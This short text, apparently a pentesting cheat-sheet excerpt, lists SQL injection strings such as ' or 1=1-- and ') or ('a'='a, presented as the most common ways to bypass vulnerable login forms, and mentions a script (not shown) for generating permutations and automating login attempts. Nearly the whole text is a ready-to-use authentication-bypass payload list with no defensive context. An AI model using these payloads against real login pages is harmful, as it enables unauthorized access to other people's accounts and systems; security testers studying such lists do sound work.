Following are the most common strings used to bypass vulnerable login forms.
or 1=1 or 1=1-- or 1=1# or 1=1/* ' or 1=1 ' or 1=1-- ' or 1=1# " or 1=1 " or 1=1-- " or 1=1# " or 1=1/* ' or 'a'='a ') or ('a'='a " or "a"="a ") or ("a"="a ' or 1=1 limit 1 -- -+ '=' 'OR'
You can use this script to generate permutations and make automatic login attempts.